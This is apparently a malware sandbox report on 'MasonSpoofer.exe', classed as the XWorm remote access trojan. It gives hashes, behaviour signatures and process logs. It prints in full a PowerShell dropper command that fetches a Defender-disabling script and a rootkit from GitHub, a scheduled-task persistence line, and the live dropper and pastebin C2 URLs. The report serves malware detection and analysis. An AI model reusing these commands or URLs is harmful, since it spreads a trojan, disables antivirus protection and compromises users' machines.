Overview

overview

10

Static

static

10

MasonSpoofer.exe

windows7-x64

MasonSpoofer.exe

windows10-2004-x64

Analysis

  • max time kernel
    40s
  • max time network
    40s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/03/2025, 16:01

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    MasonSpoofer.exe

  • Size

    54KB

  • MD5

    4d0c7560ec5c28a513a9fde9838547e8

  • SHA1

    66393d9c9e6b3a9f4d38b6bc9161d28e7a7b2ffd

  • SHA256

    eed83e7510bd8497fad0f0b65455e8afa0531b9833357ad75934ff8df0a7896a

  • SHA512

    77df7c7dcd8a29cc8c83c074902e90f0f3ade77ca726ef33c543c8877112f5f5ea424ff003d720f3ddc9ec8683d712dcc9760b9e22b89fcfaa5f5ea2409fac11

  • SSDEEP

    1536:vi5XmXObBvFn2TzqbLho8I/HusbOznuf:vcvF2SbLhu/HusbOzuf

Score
10/10
xwormexecutionrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • Install_directory

    %port%

  • install_file

    svchost.exe

  • pastebin_url

    https://pastebin.com/raw/J42c6s7r

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 14 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonSpoofer.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2744
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonSpoofer" /tr "C:\Users\Admin\AppData\Roaming\MasonSpoofer.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2696
    • C:\Windows\system32\shutdown.exe
      shutdown.exe /f /s /t 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2980
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0
    1⤵
      PID:2528
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x1
      1⤵
        PID:2440

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
        Filesize

        71KB

        MD5

        83142242e97b8953c386f988aa694e4a

        SHA1

        833ed12fc15b356136dcdd27c61a50f59c5c7d50

        SHA256

        d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

        SHA512

        bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Tar993A.tmp
        Filesize

        183KB

        MD5

        109cab5505f5e065b63d01361467a83b

        SHA1

        4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

        SHA256

        ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

        SHA512

        753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

        Download Submit

      • memory/2744-6-0x0000000002EA0000-0x0000000002F20000-memory.dmp

        Filesize

        512KB

        Download

      • memory/2744-7-0x000000001B700000-0x000000001B9E2000-memory.dmp

        Filesize

        2.9MB

        Download

      • memory/2744-8-0x00000000029F0000-0x00000000029F8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/2744-9-0x0000000002EA0000-0x0000000002F20000-memory.dmp

        Filesize

        512KB

        Download

      • memory/2900-0-0x000007FEF5143000-0x000007FEF5144000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2900-1-0x00000000009B0000-0x00000000009C4000-memory.dmp

        Filesize

        80KB

        Download

      • memory/2900-11-0x000000001ADC0000-0x000000001AE40000-memory.dmp

        Filesize

        512KB

        Download

      • memory/2900-12-0x000007FEF5143000-0x000007FEF5144000-memory.dmp

        Filesize

        4KB

        Download

      • memory/2900-70-0x000000001ADC0000-0x000000001AE40000-memory.dmp

        Filesize

        512KB

        Download